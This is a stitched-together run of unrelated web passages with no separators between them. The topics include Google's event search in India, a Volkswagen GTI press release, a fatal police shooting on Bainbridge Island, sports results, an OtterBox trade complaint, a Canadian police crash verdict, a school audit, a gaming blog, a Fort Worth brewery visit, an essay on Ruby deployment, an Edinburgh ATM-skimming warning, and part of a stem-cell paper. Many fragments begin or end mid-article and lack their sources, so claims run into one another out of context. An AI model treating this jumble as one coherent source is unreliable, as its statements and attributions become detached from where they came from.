"Starting today in India, doing a search for many types of events on the Google mobile search app and mobile web will bring up a concise summary of events and activities from popular sites from across the web like BookMyShow.com, AllEvents.in, EventsHigh.com, and 10times.com," Google said in a statement.
In an example provided by Google, typing a quick search like "food festivals in Delhi" will get you a listing of the best options in an easy-to-review format. Those interested in the performing arts can check out the latest plays and shows near them, with queries like "Marathi plays in Mumbai." A more general query to see all popular events near the user would be "events near me."
As part of this updated Search experience for events, each listing contains key details in the event title including date, time, location, and even price where available. Users can also filter listings for dates, from today, tomorrow, over the weekend, and more.
"Tapping an event listing takes you directly to the website from where you can learn more or buy tickets," Google said.
Google also released developer guidelines to help developers format their event listings so users can more easily find them when looking for activities and events on Google.
When I encounter pro-reality messages, I feel a bit less alone. I'd like to help other atheists feel a little less alone.
I'd like to be able to take advantage of the same right to free expression that Christians take advantage of on a regular basis and without fear of consequences.
I'd like to be able to celebrate the atheist part of my identity. It means something to me, and I am tired of feeling that I must hide it.
Not only does this file contain the American West Handbook, it also contains a Character Sheet (from Halo Mythic), the Medieval Europe, and MIddle Ages Asia Handbooks. All three handbooks are now open to the public for testing, and they're also playable.
DOWNLOAD THE BETAS HERE
JOIN THE DISCORD
In fact, the most this testing will show is desired extra content and what needs balanced. After all, that's the point of a beta test, especially one I hope to reach to plenty of people.
For those with feedback, please message me on our Discord, or through Patreon. I'm willing to hear any and all feedback!
Now, while I'm giving you all out the betas, please spread the word! I want these to spread as far as possible so I can get as much feedback as I can!
And remember, all of these books are interchangable with each other, so feel free to kitbash and make all sorts of crazy games and missions, if you want.
Now that all three betas are out to the public, I will begin work on the World War 1 handbook. This one will take the absolute longest of any of the handbooks currently in testing.
- Available with two levels of power for the first time: standard 220 horsepower or 230 hp with performance pack (European model)
- Offers 18 per cent improvement in fuel economy compared to previous GTI
- On sale in Europe starting in May, 2013
Wolfsburg, 27th February 2013 – Following tradition, Volkswagen will introduce the latest version of the Golf GTI at the Geneva International Motor Show. For the first time, the iconic hot hatch is available at launch with two power levels: 220 horsepower; or 230 hp with the optional performance pack.
The new GTI is powered by a turbocharged direct-injection gasoline engine (TSI®) that makes 220 hp and 258 pound-feet of torque in standard form. Volkswagen is offering a factory- installed performance pack for the first time, which boosts power to 230 hp. Both versions are equipped with a Stop-Start system, fulfill the EU-6 emissions standard that takes effect in 2014, and attain the same excellent DIN gas mileage figure of 39.2 mpg-which equates to 139 g/km of CO2-when equipped with the six-speed manual transmission. This means that the new GTI offers an 18 percent improvement in fuel economy compared to the previous model. With the optional six-speed DSG® dual-clutch automatic transmission, the 220- and 230-hp GTIs return 36.8 and 36.2 mpg respectively (equivalent to 148 and 150 g/km CO2).
The sporty nature of the Golf GTI is reflected in its red-painted brake calipers, twin chrome tailpipes, and a lowered sport suspension. The exterior of the compact hatchback also scores with 17-inch "Brooklyn" GTI wheels and 225/45 tires, special side skirts, a rear diffuser, and smoked LED taillights with LED license-plate illumination.
Visually, the interior is highlighted by sport seats with the "Clark" tartan pattern, a black headliner, and red ambient lighting. The car also offers classic GTI features such as a sport steering wheel, GTI shifter knob grip and instrument cluster, special trim inserts, and stainless- steel pedals and foot support.
Standard features include the progressive steering system; "Climatronic" automatic climate control; park assist; Volkswagen's latest touchscreen infotainment system; and a winter pack that includes heatable front seats. Customers can choose from three body colors: "Tornado Red", "Black" and "Pure White". In Germany, the car goes on sale in May with prices starting at 28,350 euros.
Overview.
Market launch in Europe: May 2013.
Debut of first-generation Golf GTI: 1976.
Engine: Four-cylinder TSI (turbocharged direct-injection).
Layout: front, transverse.
Displacement: 1984 cc.
Bore and stroke: 82.5 x 92.8 mm.
Compression ratio: 9.8:1.
Power: 220 hp (162 kW) @ 4500 rpm; Performance pack: 230 hp (169 kW).
Torque: 258 lb-ft (350 Nm) @ 2500 rpm.
Transmission/drive type: Manual six-speed; DSG six-speed dual-clutch; front-wheel drive. Fuel consumption/CO2 emissions (manual): 39.2 mpg; 139 g/km CO2.
Performance (manual): 0-62 mph in 6.5 sec: Max speed; 153 mph (230 hp: 6.4 sec; 155 mph). Unladen weight: 2978 lb (base version)
(*preliminary data)
About Volkswagen of America, Inc.
Founded in 1955, Volkswagen of America, Inc. is headquartered in Herndon, Virginia. It is a subsidiary of Volkswagen AG, headquartered in Wolfsburg, Germany. Volkswagen's operations in the United States include research and development, parts and vehicle processing, parts distribution centers, sales, marketing and service offices, financial service centers, and its state-of-the-art manufacturing facility in Chattanooga, Tennessee. Volkswagen is one of the world's largest producers of passenger cars and Europe's largest automaker. Volkswagen sells the Beetle, Beetle Convertible, Eos, Golf, Golf R, GTI, Jetta, Jetta SportWagen, Passat, CC, Tiguan, Touareg and Routan vehicles through approximately 600 independent U.S. dealers.
BAINBRIDGE ISLAND, Wash. -- An hours-long standoff in Eagle Harbor ended early Sunday morning when police shot and killed an armed, naked man who pointed a rifle at them, investigators said.
Investigators don’t yet know what prompted the man to start shooting in the first place, they said.
No one else was injured, police said.
The gunman began firing shots from a boat anchored in the waters of Eagle Harbor around 8:30 p.m. Saturday. When officers arrived, he began aiming his shots toward them, said Bainbridge Island Police spokesperson Kellie Stickney.
It was a sleepless night for a lot of people in Eagle Harbor who watched the tense standoff unfold not far from Fred Adams’s boat.
"When I heard the first two shots, I was on my boat," Adams said. "I heard what I thought was fireworks going off in the marina here. And so I came out on the dock to see if it was coming from our marina. Someone called me and said ‘Hey, the police are coming down here. You got an incident going on.’ And I said, ‘What incident?’
Adams was one of several people who called 9-1-1 after hearing the man fire shots from an old boat that was anchored between two buoys in the middle of the harbor. The gunfire prompted evacuations and many people to take cover, police said.
One of the bullets hit a wall above a homeowner's bedroom window, she told KOMO News.
"It didn’t look like he was aiming at anything particular," said witness Susanne Park. "He was just kinda shooting and then he’d yell some things. We couldn’t quite make out anything, but he seemed angry."
As King County's Guardian One police helicopter hovered overhead, police used measures such as flash bangs and some sort of smoking devices to get the gunman to surrender, according to witnesses at the scene.
The gunman then appeared on the boat's deck in the nude about 12:30 a.m., and climbed into a dinghy behind the boat, according to a KOMO photographer at the scene. The gunman climbed back into the cabin of the main boat, emerged with a rifle and aimed it at the officers, the photographer said. Police then opened fire, striking the man.
"All of a sudden he turned got back on the boat. I watched him go down into the boat, comes out and he's got his gun, fired one shot, then the policeman responded," said witness Christina Marie Kimball. "It’s never like this. It’s calm. It’s like shocking. I think I’m shock. I’m acting like it’s normal, but it’s not. It’s scary."
"Well, it’s sad. I mean, I think it’s really sad that this has to happen. I wouldn’t expect it on Bainbridge Island where it’s such a small community," Adams said.
The man was pronounced dead at the scene, Bainbridge Island police said.
Bainbridge Island and Bremerton police, the FBI and the Coast Guard were among the agencies involved.
Witness Lisa Skelton told KOMO News the boat had been moored out in the harbor for about two weeks. She said they saw the man come outside his boat, fire his gun, the go down into the cabin to reload, and start firing again.
She said she could hear the man saying something about the cops coming and 'I own them, let them come...' "
Washington State Ferries spokesperson Brian Mannion told KOMO News the gunfire erupted near one of their repair yards but everyone was accounted for.
All ferry service was suspended along the Bainbridge Island/Seattle ferry run for about 90 minutes as police investigated the nearby gunfire. Ferry service resumed just after 11 p.m.
KOMO News' Kristen Drew was having dinner with friends in a sailboat near Eagle Harbor when she noticed police moving around docks with guns drawn.
"I looked over at a dock nearby and saw an officer with a gun drawn and people running toward shore," Drew said. "I overheard an officer say, 'those are not fireworks' as the officer continued on to another boat.
"Periodically throughout dinner, we could hear what sounded like fireworks, but now given the situation, obviously we now know they weren’t. My friends and I got into the sailboat, turned off the lights and sheltered in place."
Police towed the gunman's boat out of the marina Sunday morning just after 9: 30 a.m.
Bojan Bogdanovic went 0-of-5, including 0-for-2 from deep, playing only 19 minutes in the 76-70 win. The Croatia team coach, Aco Petrovic (Drazen's brother), instead relied on incoming 76ers rookie Dario Saric, who finished with 18 points, eight rebounds and six assists in 38 minutes, dominating France. Tony Parker is not playing in the Olympic warm-ups following the birth of his son. Nando Decolo led France.
Meanwhile, Argentina defeated Serbia, 79-74. Luis Scola, who has been Argentina's top scorer playing most center, took only five shots in the contest, scoring six points. He also grabbed four rebounds. Carlos Delfino, who hasn't played competitive basketball in two years due to injury, finished with 20 on 5-of-8 shooting from deep. He's hoping the Olympics leads to a comeback. Juan Pablo Vaulet did not play.
Here are the highlights of the Argentina-Serbia game.
And the best moments of the Croatia-France contest. It's all Saric.
OtterBox has built a $50 million business designing hard case covers for smartphones, e-readers and tablets and now it wants to stop the entire Chinese knock-off industry from stealing and selling its designs. The Fort Collins, Colo.-based company filed a complaint with the U.S. International Trade Commission last week that names a slew of Chinese manufacturers as the culprits. It also called on the carpet more than a few U.S. outlets that sell cases imported from China including companies in Georgia, New York, Tennessee, and one in its own small home town, TheCaseSpace of Fort Collins.
OtterBox is particularly wanting to stop the overseas cheap knock offs of its popular Defender Series and Commuter Series cases. The Defender series, for instance, features hard, colorful shells of silicon and plastic and costs about $50 for the smartphone cases ($90 for iPad case). In contrast, TheCaseSpace sells a similar-looking shell for the iPhone called The Vault Case priced at about $40.
Pink imposter? The OtterBox Defender (left) vs. the Vault (right).
To OtterBox, cases like the Vault should be declared contraband and stopped at the border like a bag of cocaine.
"OtterBox has requested the ITC to issue orders to generally exclude all infringing products from entry into the United States as well as prohibit advertising, distribution and sale of these products within the United States. Orders will be administered by U.S. Customs and Border Protection at all United States ports of entry," the company said.
We aren't hopeful that OtterBox will get its wish, as it seems the USITC is fond of five-year investigations -- and business fortunes in the high-tech industry are won and loss and few times over in that time span. But the commission is starting to look more seriously at China. Its report, published about two weeks ago, was compiled from a survey of 5,000 U.S. firms conducted in 2009. In addition to putting a $48 billion price tag on the annual cost of losing business to China, it found that firms spent another $4.8 billion in 2009 to try and combat Chinese IP infringement. And these are conservative estimates because the 5,000 surveys were sent only to companies in industries heavily targeted by Chinese IP theft.
Perhaps the harshest statistic from the USITC report is that, if China's knock-off culprits were stopped, 923,000 U.S. jobs would be created by the 5,000 companies surveyed alone.
Const. Eric Pomerleau will be sentenced Sept. 20 at 1:30 p.m.
​During the trial, the court heard Pomerleau was driving at least 72 km/h above the posted speed limit on June 4, 2016, when he crashed his cruiser.
He was responding as backup to a call about a theft of baby formula on June 4, 2016.
A woman studying at New Brunswick Community College was in the cruiser when it slammed into a pickup truck and then into a utility pole on King George Highway in Miramichi.
Provincial court ​Judge Natalie LeBlanc delivered the verdict Wednesday.
She said she had a lengthy decision but would only read portions of it.
LeBlanc said police officers testified it was a routine call, and even though the suspected shoplifter was known to sometimes carry a weapon, no one else responded with lights and sirens at a high rate of speed.
The court heard Pomerleau was driving 132 km/h along a stretch of the two-lane King George Highway that is zoned between 50 and 60 km/h.
The judge said that after considering all aspects of the case, the time of day, the traffic and the nature of the call, she found Pomerleau's speed and acceleration a departure from the norm.
Deputy Chief Brian Cummings had no comment about the verdict but confirmed Pomerleau will remain on the job until sentencing.
Santora CPA Group, a Newark company hired by the state to independently review school construction projects, noted that Sussex Tech's school board approved the change in district policy in September 2015, giving the superintendent and supervisor of transportation the authority to approve purchase and change orders without board approval.
The audit, released Dec. 14, stated there were 23 change orders in fiscal year 2016 totaling more than $180,000 that were not approved by the school board. The audit states Tech's policy is in violation of Delaware Department of Education School Construction Technical Assistance Manual policies, which say a school board must approve and document changes to construction projects and then submit written approval to the Department of Education.
The audit states the board never approved about $68,000 to Common Sense Solutions to renovate a shop and make improvements to storm drains.
In a written response to the audit, Sussex Tech defended the change in policy, stating as long as the change order relates to a project that is within the board's approved budget for the project, the board properly delegated authority to the superintendent, who also serves as executive secretary of the board.
“This authority to delegate duties includes the duty to approve a change within specified parameters,” the district wrote in response.
Board President Patrick Cooper said the board made the change to expedite building projects when a need arises, instead of waiting a month until the next scheduled school board meeting.
“There was no malicious attempt to sidetrack the board,” Cooper said. “There was nothing outside the budget that was approved.”
The audit recommends Sussex Tech change its policy so that “the board is aware of the activity approved and can still serve in an oversight capacity for change order activity.”
Cooper said he agrees.
“We will bring it up in the January meeting,” he said.
Cape Henlopen School District was also noted in an audit. The audit stated documentation was missing in a construction file regarding a Mariner Middle School addition. In particular, the audit states, the district failed to provide a certificate of occupancy for the addition to the state Department of Education, the state auditor and the state budget director.
In 2012 Liverpool signed a six-year deal worth £25 million ($38.1 million, 33.4 million euros) a season with Warrior Sports, whose parent company is New Balance.
Their kits will be made by New Balance from next season onwards in a deal reportedly worth up to £300 million ($457m, €400m)).
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"We are thrilled to announce this partnership with one of the world's leading sportswear brands, which is a record-breaking deal for the club," said Liverpool's chief commercial officer Billy Hogan in a statement.
"Like Liverpool FC, New Balance has over 100 years of heritage and a global footprint and they have a presence in many countries across the world, which will all feature LFC kit."
Liverpool's Premier League rivals Stoke City also announced that they will switch to New Balance from Warrior next season.
This week we will recap the finals of Tri-State, begin to include statistics about the crew battles, and review progress in California!
Battle In The Big Apple
Super Nebulous last weekend (9/29/14) held the largest turnout that @HectoHertz’s weekly series has seen, and the highest viewership for www.twitch.tv/FreeSaltines. Players such as Hax, DoH, Lord HDL, The Moon, DJ Nintendo, Swiftbass, and more showed up to fight in this 76 man local tournament. The games were extremely entertaining, and I even got to commentate most of them for the 8 hour period that bracket matches took place for singles and doubles. (Why commentate and not compete? I’m not playing Smash till January 10th! This is a self-imposed restriction.) You can check the matches out here.
But, enough about that! More importantly, we had two Melee Games matches take place there! Columbia University and Cornell University faced off, and the winner fought Rutgers University in the Grand Finals of Tri-State. You can watch both battles here.
Cornell University fought hard and showed that the secluded school from Upstate New York has some serious talent. However, Columbia University, with no surprise to the New York City regulars, put in work to send Cornell packing.
Rutgers University, perceived as the favorite to win the Tri-State bracket, was put at an early deficit when the second player they sent in took zero stocks. The remaining players for Rutgers, IE, Takoyaki, and Swedish Delight, endeavored to claim victory but the last lines of defense for Columbia, Cheezpuff and Fiya, traded stocks efficiently and secured victory for Columbia.
With Columbia and UMass Boston winning their respective brackets, the final battle of The Melee Games will be New York City vs Boston! I’m thrilled to see this rivalry extend into Smash and, personally, I am rooting for the boys from Beantown. Be sure to catch it during the Salty Suite at Apex 2015!
TMG By The Numbers
This is a new part of the DotBlog that I will be including for the next few weeks. This fall a total of 47 crew battles have taken place. Nearly all of them have been reviewed to reveal data about what characters were used, what stages were selected, and how many stocks each player took. (I say “nearly” because two of them did not have recordings.)
In my opinion, the most interesting piece of information that I have gathered thus far is the overall win-rate associated with a crew winning Game 1. Only 7 out of 45 (15.5%) battles were won by the team that lost Game 1. In New England this was 3 out of 18 (16.6%), and in Tri-State this was 4 out of 27 (14.8%). This means that there’s an overall 84.5% win-rate for taking Game 1. Of course, the more information we receive as TMG progresses in the future the more we can refine this.
When it came to Semi-Finals and Grand Finals for either division, winning Game 1 came with a 100% win-rate. Only 1 out of 8 Quarter-Finals were won by the team that lost game 1.
Why is this? One of our readers, UMass Boston’s own Klap$, offers the following suggestion:
“Winning game 1 in a crew battle is almost essential in order to secure victory for many reasons. When a crew wins game 1 they have the counter-pick advantage, some momentum, and a morale boost. On the other hand, the crew that lost game 1 is at a deficit, they’re pressured and they need someone to take out the remaining stocks without losing 1 in order to close this deficit. Playing under pressure is an acquired skill, and I’m sure we’ve all had our number of mishaps when the only thing on your mind is to win. It’s interesting to see that as the bracket progresses, the win rate of the crew that wins game 1 goes up even more.”
Next week I will be reviewing the characters that were used thus far in TMG! Please let me know of any suggestions you have for this section.
California (Week 3)
Last week we had just over 100 sign ups from 30 schools. This week we are up to 211 sign ups from 36 schools. As of now, 20 have qualified: 12 from SoCal, and 8 from NorCal. We have created a map of the colleges and local tournaments to help visualize things a bit easier. Feel free to take a look here.
If you want to sign up, click the image!
Check out the DotBlog every Wednesday at 12pm EST right here on MeleeItOnMe. If you have any suggestions, criticism, or ideas for the blog please feel free to contact me @DotZeb or at www.facebook.com/MattDotZeb.
Feel free to help Support TMG by Liking us on Facebook, Subscribing on YouTube, or Following us on Twitch!
Thanks to Lauren “Ten” Casapao for her help in editing this entry.
Past Entries:
Introduction
3000 Miles
Root Academi Blocked Unblock Follow Following Apr 10, 2017
To me, that’s our job as artists. That’s the job description. You must bring joy. I think that’s the assignment. I have no doubt about it. – Bobby McFerrin
It’s no secret that life has it’s ups and it has it’s downs. Whether it’s on a global, local or individual level – there is always something going on somewhere that is a challenge to overcome, and whilst there are many reasons to create and write, this is the area we want to look at for this post.
When we face a problem, art, of any form, allows us to take that problem, express how it makes us feel BUT THEN offer hope about that situation. When we create, we can express ourselves in a way that words don’t allow us to, but we can also create a reality that we aren’t yet seeing.
One of our favourite lyrics at Root Academi was penned by the late, great Leonard Cohen – “There is a crack in everything, that’s how the light gets in”.
Once we acknowledge the ‘cracks’ in a situation, we can start to see how and where the ‘light' can get in.
During our songwriting workshops with young people, often of primary school age, we see this happening in the lyrics they’re writing.
We invite students to write about a situation that they can speak about from personal experience, often topics like bullying, self-confidence or friendship come up, and the groups write fantastic lyrics addressing these issues.
Some lyrics written by primary school students in recent Root Academi songwriting workshops went like this;
“Be yourself, be unique, be happy, be who you want to be”
Another,
“If you’re always kind, you’ll never get left behind, if you’re happy through the days, you can always mend your ways”
And another,
“Cowboys and Indians make their amends, no matter how different we can always be friends”
These are songs about being yourself, being kind, and accepting each others differences. Pupils were recognising problems they face in every day life and using songwriting to creatively express the effects and then the solutions to those issues.
Music and singing affects us on a deep level, the more we create, sing and hear positive messages, the more they sink in and affect our every day lives.
Creativity is so important and such a powerful tool for shaping our reality.
We will finish this post with a small part of the transcript of a fantastic Ted Talk by Robert Gupta, called ‘Music is Medicine, Music is Sanity'
“I like to watch Fox News because I hate my whole head,” Stewart joked before turning to Kelly and playing her attack on Gallagher. It was so bold it merited a Joe Pesci dramatic performance from Stewart, and the high praise “badass.” Except Kelly didn’t seem to agree with her old self very much, as a montage of her old Fox News appearances demonstrated. It turns out Kelly had not only argued against workers’ benefits, but against paternity leave, which she brought up in the debate against Gallagher.
“When you cut your hair, it saps your conservative strength,” Stewart joked, “that means Rachel Maddow is ten scissorless weeks from a Fox News contract.” Then he turned to lecture Kelly: “they’re only really entitlements when they’re something someone else wants,” otherwise they’re socialism. Either way, Stewart was quite pleased with her “post-partum compassion,” but didn’t seem to expect it to last.
The segment via The Daily Show below:
During my recent Fort Worth trip I headed out to visit DFW’s newest brewery. I was lucky enough to visit at the end of November, during their Opening Weekend in Fort Worth’s Southside neighborhood. They have a mission to bring the community together and they’re doing it with their craft beers.
Jim from Rabbit Hole Brewing had mentioned to me that I needed to go visit the guys at HopFusion Ale Works before leaving town. He said that their “Feisty Blonde beer could easily dethrone Revolver’s Blood & Honey.” A big claim that definitely needed some following up.
We drove into Fort Worth’s Southside to a neighborhood that looks like it’s undergoing some change. There are a few older buildings and awesome street art nestled between new businesses like HopFusion Ale Works.
The brewery had a donut truck sitting right out front and the warm smell hit me before I even had a chance to cross the street. Which hopefully is a sign that the brewery will keep food trucks on site to go along with their craft beers!
HopFusion had a sizable selection on their opening weekend that boasted several unique and different beers. The people behind the taps were more than happy to walk us through their brews.
Finally: HopFusion’s Feisty Blonde did live up to the hype! At a high 8.27% ABV, this honey vanilla blonde ale has a touch of pure Mexican Vanilla. Then there’s the raw brow sugar to that rounds it all out for a smooth finish. It was incredible and would be good to share with anyone, anytime of the year.
Their Steampipe Black Rye IPA was another unique creation that was more than incredible. Steampipe has a “peppery, spicy profile…with dark roasted barely to compliment the citrus backbone of the Amarillo hop.”
One of the most exciting parts of HopFusion is their vision to create a space that will “fuse” together all the things that they love about their Fort Worth Neighborhood.
Matt and Macy were homebrewers for years before opening their own brewery and that homebrewing attitude has all but disappeared. Both love the craft of brewing and creating a community around their art.
The guys are both very eager on showing the action and process behind the beers they’re brewing at HopFusion.
So, if you go for a brewery tour expect to see plenty of action cause they’re planning to schedule Saturdays as brewing days!
During my visit to HopFusion on their Opening Weekend in November, I got to see the end result of their labor of love for brewing beer.
Macy showed me the beautiful brew tanks and equipment used to make their craft beers. The guys went all out and put up changing colored lights to draw everyone’s eyes back to where the action happens.
See for yourself below:
The building used to hold classic cars but now it holds an impressive brewing system. Their brewery also has a 2-barrel pilot system, making it easy to keep experimenting with HopFusion brews.
Hopfusion Ale Works in Fort Worth has an impressive setup that I got to learn about from Macy himself! It’s a 15 Bbl system and 180 barrels of total fermentation room. Macy loves to experiment with mixing beers and flavors together so they also have a 2 barrel system and room (and hopes) for six more 2-4 barrel systems.
Between a few of their tanks I spotted a few cool, vintage looking bikes, kinda out of place. So I had to ask what they were doing back there. Well, Macy and Matt are all bikers and he found those two out of a barn but they were completely ruined. Macy knew a friend who would restore them and now they’re “brewery bikes.” Matt and him ride the bikes around often and to go get lunch in their Southside Fort Worth neighborhood.
Matt Hill and Macy Moore were homebrewers for years before opening HopFusion Ale Works in their Southside Fort Worth neighborhood.
But a discussion during a bike ride back in 2014 became the beginning of the brewery’s history. Not long after that ride, plans turned into actions and eventually they needed a place for their brewery.
Macy explained to me his choice to staying in their Southside Fort Worth neighborhood, “We were looking in this area, we lived in this area, we love this area.” Macy saw the building had become available to lease so he called up the owner to schedule a tour of the old car garage.
Jesse, the guy they’re leasing from, came to meet Macy at the front of the building and hadn’t even unlocked the gate yet. He had to ask Macy a few questions before even leasing this building to someone.
The owner asked what Macy knew about the Southside, what he planned to bring to Southside, and what Macy was going to take from the Southside. Basically, “I need to know how you’re going to be apart of the community.”
But it was easy for Macy to explain that it was going to be a brewery and taproom and he explained their “vision and how we were from this neighborhood.” As fate had it, two bike groups rode past the two in front of the future HopFusion Ale Works building, and “waved to me and said, ‘Hey Macy!’ Right after he unlocked the gate and showed me the building.”
HopFusion often has to assure people that they don’t plan on being a brewery with nothing but hoppy beers and IPAs. Instead Matt and Macy are keeping things balanced and still brewing the more complex beers and flavors.
So I think we can always expect a constant rotation of great, unique brews from Matt and Macy at HopFusion.
For example: Macy had let us try a taste of a Winter Shandy he created that was an imperial milk stout mixed with fresh lemonade. If it sounds curious, that’s because it totally was! It was also super dark and surprisingly delicious, well deserving of its name.
I had a great time visiting the brewery and talking with the people from Southside Neighborhood in Fort Worth, Texas. It’s a cool part of Fort Worth that is having a positive impact from the addition of a craft brewery. Especially one like HopFusion where the community is fused together under one roof.
Additionally, we were recommended to hit up a delicious BBQ joint down the street, Heim Barbeque, by some new friends we made.
They had Burnt Bacon Ends that were to die for! This Texas BBQ is just continuing to rock my world! It was the perfect last stop on our way out of the DFW area!
By Peter Cooper
Note: This post was drafted before DHH's "The deal with shared hosts" post, but as it covers similar ground, it's worth reading too. DHH's opinion appears to be that shared hosts should put up or shut up, but I disagree and suggest this is something we need to solve as a community.
Most of us in the Ruby community know that deploying Web apps powered by Ruby can be like pulling teeth. Running up simple CGI scripts is easy enough, but once you move on to more robust systems, using things like Rails, Sinatra, Ramaze, Merb, Camping, whatever, it deviates significantly from the well-established "just upload it" route. The reason is that applications built around these frameworks tend to expose themselves directly via HTTP daemons, using libraries such as Mongrel or WEBrick, and then requests from Web servers like Apache need to be proxied through to them, but this feels like a hackish workaround to the fact we lack a proper "mod_ruby."
In the PHP world, things are a lot simpler. Almost universally Apache comes with mod_php built in, and PHP scripts uploaded to any sort of Web space, shared or not, tend to "just work." This is POLS (Principle of Least Surprise) in deployment. With Rails apps, say, you either need to go to a specialized, over priced Web host, rig up Apache with reasonably fragile FastCGI solutions, set up a Mongrel cluster separately to Apache and then do some proxying, or even deploy a whole new stack based around Mongrel clustering, Nginx and the like. This makes deploying a Ruby application offputting to the typical webmaster and is, in my opinion, damaging Ruby's viability as a mass market Web application technology. If I'm going to put up a blog, I'll use WordPress (Ruby Inside actually does). If I want a forum, I'll find one of the many PHP variants. Why? Easy deployment on well established, easy to replicate application stacks.
Since PHP, Python (including Django apps), and even Java apps (via Tomcat) can be deployed reasonably easily on an Apache stack with the relevant modules installed, shouldn't we be able to get mod_ruby doing the same thing? I'm definitely willing to help in whatever way I can on this, as I'd love to see Ruby / Rails / whatever apps as easy to deploy as PHP apps! This is the main reason Ruby powered forum and blog systems aren't beating WordPress and vBulletin. Unfortunately, I'm pretty dumb when it comes to the technicalities of Apache modules and rigging these things up, but if the main impediment is money, publicity, programmers, or whatever, I'm sure we can figure something out as a community.
So some questions arise:
1) Is there / why isn't there a version of mod_ruby that doesn't have the "class sharing" issue? What is the technical impediment?
2) Is there any immutable reason that Ruby apps couldn't, in the future, be deployed in a PHP-esque fashion?
Police in Edinburgh have issued a warning after several card skimming devices were recovered from cash machines.
Between 2 April and 19 May, officers received numerous reports of suspicious equipment attached to ATMs in the city.
Officers seized devices in Clerk Street, Marchmont Road, Comiston Road, Bruntsfield Place and Morningside Road.
Five people, who had recently used the machines, had three-figure sums of cash removed from their accounts.
Police urgedanyone using an ATMs to look out for suspicious devices or activity around the machine and report any concerns to police.
"On guard"
PC Carol Menzies said: "Thanks to the vigilance of members of our community, these devices have since been recovered and our enquiries are ongoing to determine where they came from and who fitted them to the ATMs.
"Unfortunately, a few people have fallen victim to card skimming, resulting in sums of cash being taken from their accounts.
"The public are urged to be on their guard for unusual looking equipment attached to cash machines, or anyone acting suspiciously in the nearby area.
Now, they are about to get a taste of their own medicine.
Taking a cue from the Red Bull front office, the New England Revolution, led by President Brian Bilello, are supplying buses for fans willing to make the trek to Harrison, New Jersey. With little over a week until their showdown, Revolution fans have responded en masse with 13 buses hauling an impressive 850 travelers already accounted for the encounter.
“It’s a ton of work being done behind the scenes by leadership in both supporter groups and a huge focus for the front office to make sure the players have the best possible support at Red Bull Arena,” Brendan Schimmel, Executive Director of The Rebellion tells EOS. “There’s an ongoing dialogue and a flurry of emails constantly throughout the day with supporters group leadership and the front office working all angles and logistics.”
With just over a week until the first leg encounter, New England fans are closing in on their seat allocation.
“The max we are working with is 20 buses with a total of 1,150 seats for our section at RBA,” Schimmel says. “Although we expect the numbers to slow down eventually, it seems completely feasible that we will eclipse 1,000 supporters.”
With the backing of the Revolution, fans have responded to the travel in what Schimmel calls “unprecedented” numbers.
“We’ve only been actively selling for about 60 hours and we’re at 867 total,” he said. “Normally for the away trip during the regular season, we’re around two to three buses. If you asked me in March if I thought we could hit 1,000 on a road playoff match I’d call you crazy for asking, but I am more than happy to look foolish now.”
For many longtime fans of the club, the traveling contingent is a long overdue nod to one of the oldest, and most understated rivalries in MLS.
“In a crowded sports scene where the other major teams battle for headlines, the Revs are making it harder and harder for people to ignore,” Steven Erickson, a Revs fan since 2000, said. “The amount of support that we have gained this year has allowed us to do things we have only dreamed of in past seasons. Tifo displays that grow grander in scale and an away game support of epic proportions.
“It’s great to see that our actions [the leaders of the Rebellion] are coming to fruition.”
Funding: Part of these studies were supported by the Department of Obstetrics/Gynecology at University of California Los Angeles and by the Eunice Kennedy Shriver National Institute of Child Health & Human Development, National Institutes of Health through cooperative agreement U54 HD071836. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
Copyright: © 2013 Heneidi et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited.
Harvesting human adipose tissue by lipoaspiration is a safe and non-invasive procedure [15] , and hundreds of millions of cells can be isolated from 1–2 liters of lipoaspirate material [16] . Therefore, adipose tissue could prove the ideal source for Muse cell isolation as opposed to bone marrow or dermis. Using lipoaspirate material, we developed a novel methodology for the isolation of a population of human Muse cells under severe cellular stress conditions (long term incubation with proteolytic enzyme, 4°C, serum deprivation, and hypoxia). Purification of human Muse cells derived from adipose tissue (Muse-ATs) does not require the use of cell sorting, magnetic beads or special devices. Muse-ATs can grow either in suspension, forming cell spheres, or as adherent cells forming cell aggregates similar to human ES cell-derived embryoid bodies as previously reported [13] , [14] . Furthermore, Muse-AT cells express pluripotent stem cell markers and a variety of markers indicative of all three germlines. Upon the introduction to specific culture conditions, Muse-AT cells can differentiate to mesenchymal (adipocytes, skeletal and smooth muscle cells), endodermal (hepatocytes and biliary ducts) and ectodermal (neural cells) cell lineages both spontaneously and by differentiation induction. Immunocytochemistry and microarray data demonstrate up-regulation of the pluripotent stem cell markers Sox2, Oct3/4, and Rex1 in Muse-AT cells, as compared to previously studied multipotent adipose stem cells (ASCs). Microarray analysis reveals that Muse-AT cells highly express genes involved in cellular protection against oxidative stress. Additionally, these cells also exhibit up regulation of CXCL2 gene expression, a critical chemokine involved in stem cell homing [17] . Muse-AT cells display down regulation of genes involved in cell death and survival, embryonic development, organism survival, cellular assembly and organization, mitosis, DNA replication, recombination and repair. Because lipoaspiration is a safe and non-invasive procedure and Muse-AT cell isolation requires a simple yet highly efficient purification technique, Muse-AT cells could provide an ideal source of pluripotent-like stem cells with the potential to have a critical impact on regenerative medicine and cell-based therapy.
Another potential solution to the problem of successful delivery of stem cells to a hostile host environment is to utilize a purified population of stem cells, isolated during exposure to severe cellular stress conditions (e.g. long time incubation to proteolytic enzymes, hypoxic conditions, serum deprivation, low temperatures), for engraftment. Recently, a new stem cell population has been isolated from mesenchymal tissues such as human skin fibroblasts and bone marrow stromal cells under cellular stress conditions. These cells, termed Multilineage Differentiating Stress-Enduring (Muse) Cells, are of mesenchymal stem cell origin and comprise 1–3% of the entire cell population. Muse cells exhibit characteristics of both mesenchymal and pluripotent stem cells. They are double positive for CD105, a mesenchymal stem cell marker, and stage specific embryonic antigen-3 (SSEA3), well known for the characterization of undifferentiated human embryonic stem cells (ES) from bone marrow aspirates or from cultured mesenchymal cells such as bone marrow stromal cells and dermal fibroblasts. They express pluripotency markers including Oct3/4, Nanog and Sox2, differentiate into cells of ectodermal, endodermal, and mesodermal lineages both in vitro and in vivo, and have the ability to self-renew [13] . Advantageously, Muse cells do not appear to undergo tumorigenic proliferation, and therefore would not be prone to produce teratomas in vivo, nor do they induce immuno-rejection in the host upon autologous transplantation [13] , [14] . In addition, Muse cells are shown to home into the damage site in vivo and spontaneously differentiate into tissue specific cells according to the microenvironment to contribute to tissue regeneration when infused into the blood stream [13] . Therefore, they exhibit the potential to make critical 